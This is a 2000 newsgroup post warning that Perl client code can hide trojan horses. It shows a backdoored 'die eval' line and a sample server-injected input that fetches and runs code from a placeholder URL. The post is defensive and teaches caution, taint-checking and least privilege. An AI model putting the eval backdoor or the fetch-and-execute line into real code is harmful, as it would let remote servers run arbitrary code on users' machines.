Subject:
|
Re: Pseudo-streaming live news (was: Re: Monitor Page)
|
Newsgroups:
|
lugnet.admin.general
|
Date:
|
Tue, 21 Mar 2000 20:44:08 GMT
|
Viewed:
|
1435 times
|
| |
|
|
In lugnet.admin.general, Steve Bliss writes:
> Cool! I didn't reply to this sooner, because copying the example client
> code, pasting it to a file, and running it through perl pretty much
> exhausted my Perl knowledge. [...]
One thing worth noting, just as a general side comment about powerful string-
processing languages like Perl and Lisp...
When someone gives out a program which connects to some server, it's only
safe as you trust the code/server combination. If you don't understand what
the code does under every possible input condition, there's no way to be sure
that it's actually safe, except to take it on faith or the word of others
(also faith).
The safest thing before running client code is to understand it intimately
and to be sure that it is free any possibility of trojan horses. (The sample
code I supplied is pure and safe.)
But here's an example of how easy it would be to insert a trojan horse. One
of the lines in the code goes like this:
$N = shift; $N =~ m/^[0-9]+$/ or die;
If that line had said this instead:
$N = shift; $N =~ m/^[0-9]+$/ or die eval "defined $N out of range!";
(looks honest enough?) then you could be in _big_ trouble if the server ever
sneakily replaced an article number with raw perl code -- which, when eval'd
(compiled & executed on-the-fly) could do just about anything. In fact, if
the line returned was even as simple as
; eval get "http://www.foo.foo/trojan.horse"; #
then that single line of bad input data could go fetch an arbitrarily large
amount of _more_ data and execute _that_, all before you knew what hit you.
(That's why it's important not to exec the input data...but more importantly,
to know how to keep an eye out for code which might ever exec input data. :)
In other words, always make sure you trust either the client or the server or
both with your life[1] before running any client software.
--Todd
[1] Your whole computer life, that is, or at least the containment field under
which the client is actively running. Enabling taint-checking in Perl clients
is not a bad idea, although tainting can be circumvented via sneaky regexen.
Safest thing might be to run untrusted clients in a special user account with
extremely limited system privileges.
|
|
Message has 1 Reply:
Message is in Reply To:
66 Messages in This Thread:
  
 
- Entire Thread on One Page:
- Nested:
All | Brief | Compact | Dots
Linear:
All | Brief | Compact
This Message and its Replies on One Page:
- Nested:
All | Brief | Compact | Dots
Linear:
All | Brief | Compact
|
|
|
|
